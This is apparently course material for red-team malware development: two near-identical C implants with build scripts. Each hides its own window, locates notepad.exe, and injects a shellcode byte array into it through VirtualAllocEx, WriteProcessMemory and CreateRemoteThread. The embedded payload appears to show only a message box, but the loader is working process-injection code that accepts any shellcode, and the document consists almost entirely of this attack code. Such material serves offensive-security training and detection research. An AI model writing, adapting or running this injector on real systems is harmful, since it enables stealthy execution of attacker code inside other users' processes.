free console函数

  1. /*
  2. Red Team Operator course code template
  3. Hinding console window with FreeConsole()
  4. author: reenz0h (twitter: @sektor7net)
  5. */
  6. #include <windows.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. unsigned char payload[] = {
  12. 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  13. 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  14. 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  15. 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  16. 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  17. 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  18. 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  19. 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  20. 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  21. 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  22. 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  23. 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  24. 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  25. 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  26. 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  27. 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  28. 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  29. 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  30. 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  31. 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  32. 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  33. 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  34. 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  35. 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  36. 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  37. 0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  38. 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  39. 0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
  40. };
  41. unsigned int payload_len = 334;
  42. int FindTarget(const char *procname) {
  43. HANDLE hProcSnap;
  44. PROCESSENTRY32 pe32;
  45. int pid = 0;
  46. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  47. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  48. pe32.dwSize = sizeof(PROCESSENTRY32);
  49. if (!Process32First(hProcSnap, &pe32)) {
  50. CloseHandle(hProcSnap);
  51. return 0;
  52. }
  53. while (Process32Next(hProcSnap, &pe32)) {
  54. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  55. pid = pe32.th32ProcessID;
  56. break;
  57. }
  58. }
  59. CloseHandle(hProcSnap);
  60. return pid;
  61. }
  62. int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
  63. LPVOID pRemoteCode = NULL;
  64. HANDLE hThread = NULL;
  65. pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  66. WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
  67. hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  68. if (hThread != NULL) {
  69. WaitForSingleObject(hThread, 500);
  70. CloseHandle(hThread);
  71. return 0;
  72. }
  73. return -1;
  74. }
  75. int main(void) {
  76. int pid = 0;
  77. HANDLE hProc = NULL;
  78. FreeConsole();
  79. pid = FindTarget("notepad.exe");
  80. if (pid) {
  81. //printf("Notepad.exe PID = %d\n", pid);
  82. // try to open target process
  83. hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  84. PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  85. FALSE, (DWORD) pid);
  86. if (hProc != NULL) {
  87. Inject(hProc, payload, payload_len);
  88. CloseHandle(hProc);
  89. }
  90. }
  91. return 0;
  92. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

GUItrick

  1. /*
  2. Red Team Operator course code template
  3. Hiding program window with GUI trick
  4. author: reenz0h (twitter: @sektor7net)
  5. */
  6. #include <windows.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. unsigned char payload[] = {
  12. 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  13. 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  14. 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  15. 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  16. 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  17. 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  18. 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  19. 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  20. 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  21. 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  22. 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  23. 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  24. 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  25. 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  26. 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  27. 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  28. 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  29. 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  30. 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  31. 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  32. 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  33. 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  34. 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  35. 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  36. 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  37. 0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  38. 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  39. 0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
  40. };
  41. unsigned int payload_len = 334;
  42. int FindTarget(const char *procname) {
  43. HANDLE hProcSnap;
  44. PROCESSENTRY32 pe32;
  45. int pid = 0;
  46. hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  47. if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  48. pe32.dwSize = sizeof(PROCESSENTRY32);
  49. if (!Process32First(hProcSnap, &pe32)) {
  50. CloseHandle(hProcSnap);
  51. return 0;
  52. }
  53. while (Process32Next(hProcSnap, &pe32)) {
  54. if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  55. pid = pe32.th32ProcessID;
  56. break;
  57. }
  58. }
  59. CloseHandle(hProcSnap);
  60. return pid;
  61. }
  62. int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
  63. LPVOID pRemoteCode = NULL;
  64. HANDLE hThread = NULL;
  65. pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  66. WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
  67. hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
  68. if (hThread != NULL) {
  69. WaitForSingleObject(hThread, 500);
  70. CloseHandle(hThread);
  71. return 0;
  72. }
  73. return -1;
  74. }
  75. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
  76. LPSTR lpCmdLine, int nCmdShow) {
  77. int pid = 0;
  78. HANDLE hProc = NULL;
  79. pid = FindTarget("notepad.exe");
  80. if (pid) {
  81. //printf("Notepad.exe PID = %d\n", pid);
  82. // try to open target process
  83. hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  84. PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  85. FALSE, (DWORD) pid);
  86. if (hProc != NULL) {
  87. Inject(hProc, payload, payload_len);
  88. CloseHandle(hProc);
  89. }
  90. }
  91. return 0;
  92. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64